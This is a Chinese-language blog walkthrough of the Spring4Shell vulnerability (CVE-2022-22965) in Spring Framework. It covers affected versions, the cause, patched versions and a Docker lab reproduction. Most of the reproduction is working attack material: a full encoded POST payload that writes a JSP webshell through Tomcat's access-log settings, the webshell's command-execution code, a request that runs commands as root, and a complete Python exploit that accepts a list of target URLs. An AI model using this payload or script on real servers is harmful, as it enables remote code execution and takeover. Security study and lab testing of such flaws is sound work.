admin
Spring Rce CVE-2022-22965
03/31
本文最后更新于2022年08月08日,已超过235天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!
漏洞介绍
继2021年底由阿里发现的Log4j的严重漏洞之后, Spring框架也被发现了一个重大的安全漏洞。目前这个漏洞的名称被称为“SpringShell: Spring Core RCE 0-day Vulnerability”。
漏洞版本
JDK 9及以上版本
使用Tomcat 服务器
以war 部署运行
使用了spring-webmvc或 spring-webflux
Spring框架版本是 5.3.0 到 5.3.17, 5.2.0 到 5.2.19,以及更旧的版本。
原理
Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器方法中参数对象的成员变量,攻击者通过构造恶意请求获取 AccessLogValve 对象并注恶意字段值触发 pipeline 机制可写任意路径下的文件。
利用步骤
- 覆盖 Tomcat 特定的ClassLoader属性,将访问日志文件路径更改为 web
根目录下的某个位置,并将日志模式(写入的数据)更改为包含 webshell 代码的常量模式。这会导致
JSP_webshell被放到web 根目录下。 - 向写入的 webshell 发送查询请求,以执行任意 shell 命令。
解决方法
Spring 框架: 升级到 5.2.20
Spring Boot升级到2.6.6
Tomcat的8,9.,10 版本可以使用 8.5.78 9.0.62 和10.0.20版本
复现
环境搭建
docker 拉取vulfocus Spring core rce 靶场镜像
docker run -d -p 49153:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
浏览器访问
手工测试
使用post发送数据
POST / HTTP/1.1
Host: 192.168.2.233:49153
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 763
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
流量特征
如果命令执行成功,则在目录下生成了tomcatwar.jsp文件。
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
通过getRuntime().exec
执行命令,传入参数为cmd
。
访问webshell
执行命令
请求包
GET /tomcatwar.jsp?pwd=j&cmd=id HTTP/1.1
Host: 192.168.2.233:49153
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=9AB988245440E4ECFBCC2E0FCBACD2B0
Upgrade-Insecure-Requests: 1
响应包
HTTP/1.1 200
Content-Type: text/html;charset=ISO-8859-1
Transfer-Encoding: chunked
Date: Mon, 08 Aug 2022 02:00:42 GMT
Connection: close
bc0
uid=0(root) gid=0(root) groups=0(root)
.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
0
使用exp进行复现
https://github.com/TheGejr/SpringShell
exp:
#coding:utf-8
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
go = requests.post(url,headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Spring-Core Rce.')
parser.add_argument('--file', help='url file', required=False)
parser.add_argument('--url', help='target url', required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
运行exp
运行成功后,会写入一个tomcatwar.jsp,通过这个webshell执行远程命令。
访问webshell
